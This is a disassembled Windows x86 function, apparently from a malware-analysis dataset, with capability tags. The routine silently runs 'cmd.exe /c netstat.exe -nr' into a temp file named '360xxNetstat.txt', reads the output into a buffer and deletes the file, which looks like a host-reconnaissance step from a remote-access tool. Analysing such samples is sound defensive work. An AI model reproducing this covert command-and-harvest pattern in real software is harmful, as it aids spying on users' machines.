Function at 0x4215e0
Capabilities:
Create process on windows
Create process suspended
Delete file
Get common file path
Read file on windows

Disassembly:
mov eax, 0x1368
call sub.ntdll.dll__chkstk
push ebx
push ebp
push esi
push edi
xor esi, esi
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x2c]
mov dword [esp + 0x28], esi
mov edx, str._NetStat
rep stosd dword es:[edi], eax
mov cl, byte [0x45ec20]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov byte [esp + 0x378], cl
mov ecx, 0x3ff
lea edi, [esp + 0x379]
mov dword [esp + 0x24], eax
mov dword [esp + 0x18], esi
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
test edx, edx
stosb byte es:[edi], al
jne 0x42163c
xor ebx, ebx
jmp 0x421649
push str._NetStat
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
mov ebx, eax
mov ebp, dword [esp + 0x137c]
mov eax, dword [ebp]
cmp dword [eax - 0xc], 1
jg 0x42165e
cmp ebx, dword [eax - 4]
jle 0x421671
mov ecx, ebp
call fcn.00407020
push ebx
mov ecx, ebp
call fcn.00406d60
cmp eax, esi
je 0x42169d
lea eax, [ebx + 1]
cmp eax, ebx
jb 0x421690
mov edi, dword [ebp]
mov ecx, ebx
mov edx, ecx
mov esi, str._NetStat
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebp]
mov dword [eax - 8], ebx
mov ecx, dword [ebp]
mov byte [ecx + ebx], 0
lea edx, [esp + 0x6c]
push edx
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
lea eax, [esp + 0x170]
push 0x104
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
or ecx, 0xffffffff
mov edi, str.cmd.exe__c_netstat.exe__nr__
xor eax, eax
lea edx, [esp + 0x170]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebx, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x6c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.360xxNetstat.txt
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x170]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x6c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x6c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
lea ecx, [esp + 0x28]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetStartupInfoA]
mov eax, dword [esp + 0x54]
lea edx, [esp + 0x18]
or al, 0xa
push edx
mov dword [esp + 0x58], eax
lea eax, [esp + 0x2c]
push eax
push 0
push 0
mov word [esp + 0x68], 0
mov dword [esp + 0x38], 0x44
push 0
push 0
push 0
lea ecx, [esp + 0x18c]
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
jne 0x4217b9
call dword [sym.imp.KERNEL32.DLL_GetLastError]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1368
ret 4
mov edx, dword [esp + 0x18]
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
mov eax, dword [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0
push 0x80
push 3
push 0
push 1
lea ecx, [esp + 0x80]
push connect
push ecx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
mov dword [esp + 0x14], ebx
jne 0x42180b
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1368
ret 4
lea edx, [esp + 0x10]
push 0
push edx
lea eax, [esp + 0x380]
push 0x1000
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
je 0x42191c
lea ecx, [esp + 0x378]
test ecx, ecx
je 0x4218e0
lea edx, [esp + 0x378]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
test eax, eax
je 0x4218e0
mov edx, dword [ebp]
mov ecx, dword [edx - 0xc]
lea esi, [edx - 0xc]
cmp ecx, 1
jg 0x4218ab
mov edi, dword [edx - 8]
mov ecx, dword [edx - 4]
lea ebx, [edi + eax]
cmp ebx, ecx
jg 0x4218a7
inc ecx
cmp ecx, eax
jb 0x42188c
mov ecx, eax
add edi, edx
mov edx, ecx
lea esi, [esp + 0x378]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp]
mov ebx, dword [esp + 0x14]
mov edx, dword [ecx - 8]
add edx, eax
mov dword [ecx - 8], edx
mov eax, dword [ebp]
mov ecx, dword [eax - 8]
mov byte [ecx + eax], 0
jmp 0x4218e0
mov ebx, dword [esp + 0x14]
lea ecx, [esp + 0x378]
push ecx
push eax
push edx
mov edx, dword [edx - 8]
push edx
mov ecx, ebp
call fcn.0040e0f0
test eax, eax
je 0x4218e0
cmp esi, dword [0x436d00]
je 0x4218e0
push esi
call dword [sym.imp.KERNEL32.DLL_InterlockedDecrement]
test eax, eax
jg 0x4218e0
push esi
call fcn.0042d5f4
add esp, 4
cmp dword [esp + 0x10], 0x1000
jb 0x42191c
mov ecx, 0x400
xor eax, eax
lea edi, [esp + 0x378]
push eax
rep stosd dword es:[edi], eax
lea eax, [esp + 0x14]
lea ecx, [esp + 0x37c]
push eax
push 0x1000
push ecx
push ebx
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
jne 0x42182e
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea edx, [esp + 0x6c]
push edx
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
mov eax, str._r_n_r_n
test eax, eax
je 0x4219d3
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
mov esi, eax
test esi, esi
je 0x4219d3
mov eax, dword [ebp]
mov ecx, dword [eax - 0xc]
lea edi, [eax - 0xc]
cmp ecx, 1
jg 0x4219a1
mov ecx, dword [eax - 8]
mov edx, dword [eax - 4]
lea ebx, [ecx + esi]
cmp ebx, edx
jg 0x4219a1
push esi
inc edx
push str._r_n_r_n
add ecx, eax
push edx
push ecx
call fcn.00406c30
mov eax, dword [ebp]
add esp, 0x10
mov ecx, dword [eax - 8]
pop edi
add ecx, esi
pop esi
mov dword [eax - 8], ecx
mov ebp, dword [ebp]
mov eax, 1
mov ecx, dword [ebp - 8]
mov byte [ecx + ebp], 0
pop ebp
pop ebx
add esp, 0x1368
ret 4
mov edx, dword [eax - 8]
push str._r_n_r_n
push esi
push eax
push edx
mov ecx, ebp
call fcn.0040e0f0
test eax, eax
je 0x4219d3
cmp edi, dword [0x436d00]
je 0x4219d3
push edi
call dword [sym.imp.KERNEL32.DLL_InterlockedDecrement]
test eax, eax
jg 0x4219d3
push edi
call fcn.0042d5f4
add esp, 4
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x1368
ret 4